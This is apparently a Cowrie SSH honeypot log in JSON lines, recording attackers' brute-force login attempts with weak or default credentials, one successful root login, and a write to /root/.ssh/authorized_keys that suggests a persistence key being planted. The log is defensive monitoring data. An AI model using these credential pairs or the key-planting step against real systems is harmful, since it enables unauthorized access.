{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.915041Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.917433Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bounce","password":"bouncepass","message":"login attempt [bounce/bouncepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.956393Z","src_ip":"103.234.53.173","session":"3e66025608ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":40950,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1d42e158bf2","protocol":"ssh","message":"New connection: 185.196.10.227:40950 (159.203.135.109:22) [session: e1d42e158bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:40.021613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:40.025012Z","src_ip":"185.196.10.227","session":"e1d42e158bf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:40.135393Z","src_ip":"185.196.10.227","session":"e1d42e158bf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:40.607574Z","src_ip":"185.196.10.227","session":"e1d42e158bf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:41.169483Z","src_ip":"103.234.53.173","session":"3e66025608ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:41.719966Z","src_ip":"185.196.10.227","session":"e1d42e158bf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":40952,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8635d82291f","protocol":"ssh","message":"New connection: 185.196.10.227:40952 (159.203.135.109:22) [session: c8635d82291f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:41.826641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:41.831327Z","src_ip":"185.196.10.227","session":"c8635d82291f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:41.941420Z","src_ip":"185.196.10.227","session":"c8635d82291f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:42.415601Z","src_ip":"185.196.10.227","session":"c8635d82291f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:42.530198Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:42.533741Z","src_ip":"185.196.10.227","session":"c8635d82291f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":60134,"dst_ip":"159.203.135.109","dst_port":22,"session":"6be9241928de","protocol":"ssh","message":"New connection: 118.26.39.178:60134 (159.203.135.109:22) [session: 6be9241928de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:07:19.939141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:07:19.942691Z","src_ip":"118.26.39.178","session":"6be9241928de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:07:20.160994Z","src_ip":"118.26.39.178","session":"6be9241928de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"easy","password":"password","message":"login attempt [easy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:07:21.059405Z","src_ip":"118.26.39.178","session":"6be9241928de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:07:22.279272Z","src_ip":"118.26.39.178","session":"6be9241928de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":40068,"dst_ip":"159.203.135.109","dst_port":22,"session":"d30a20ac320d","protocol":"ssh","message":"New connection: 171.25.158.70:40068 (159.203.135.109:22) [session: d30a20ac320d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:07:35.611482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:07:35.615724Z","src_ip":"171.25.158.70","session":"d30a20ac320d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:07:35.730783Z","src_ip":"171.25.158.70","session":"d30a20ac320d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yy","password":"123456","message":"login attempt [yy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:07:36.315592Z","src_ip":"171.25.158.70","session":"d30a20ac320d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:07:37.431325Z","src_ip":"171.25.158.70","session":"d30a20ac320d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36672,"dst_ip":"159.203.135.109","dst_port":22,"session":"46470fb300d5","protocol":"ssh","message":"New connection: 2.57.122.208:36672 (159.203.135.109:22) [session: 46470fb300d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:02.455932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:02.606032Z","src_ip":"2.57.122.208","session":"46470fb300d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:02.609020Z","src_ip":"2.57.122.208","session":"46470fb300d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:03.404923Z","src_ip":"2.57.122.208","session":"46470fb300d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:04.506340Z","src_ip":"2.57.122.208","session":"46470fb300d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":47592,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec4029acf147","protocol":"ssh","message":"New connection: 185.196.10.227:47592 (159.203.135.109:22) [session: ec4029acf147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:23.641764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:23.645834Z","src_ip":"185.196.10.227","session":"ec4029acf147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:23.754874Z","src_ip":"185.196.10.227","session":"ec4029acf147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"1234","message":"login attempt [monitor/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:24.223877Z","src_ip":"185.196.10.227","session":"ec4029acf147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:25.336031Z","src_ip":"185.196.10.227","session":"ec4029acf147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37476,"dst_ip":"10.17.0.5","dst_port":22,"session":"584f2b754b93","protocol":"ssh","message":"New connection: 195.178.110.218:37476 (10.17.0.5:22) [session: 584f2b754b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:30.757485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:30.762326Z","src_ip":"195.178.110.218","session":"584f2b754b93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:30.841961Z","src_ip":"195.178.110.218","session":"584f2b754b93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:31.080083Z","src_ip":"195.178.110.218","session":"584f2b754b93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:32.160659Z","src_ip":"195.178.110.218","session":"584f2b754b93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":34012,"dst_ip":"159.203.135.109","dst_port":22,"session":"25196f6bd312","protocol":"ssh","message":"New connection: 92.118.39.92:34012 (159.203.135.109:22) [session: 25196f6bd312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:43.275269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:43.279803Z","src_ip":"92.118.39.92","session":"25196f6bd312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:43.378817Z","src_ip":"92.118.39.92","session":"25196f6bd312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:43.678671Z","src_ip":"92.118.39.92","session":"25196f6bd312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:08:44.782670Z","src_ip":"92.118.39.92","session":"25196f6bd312","protocol":"ssh"}
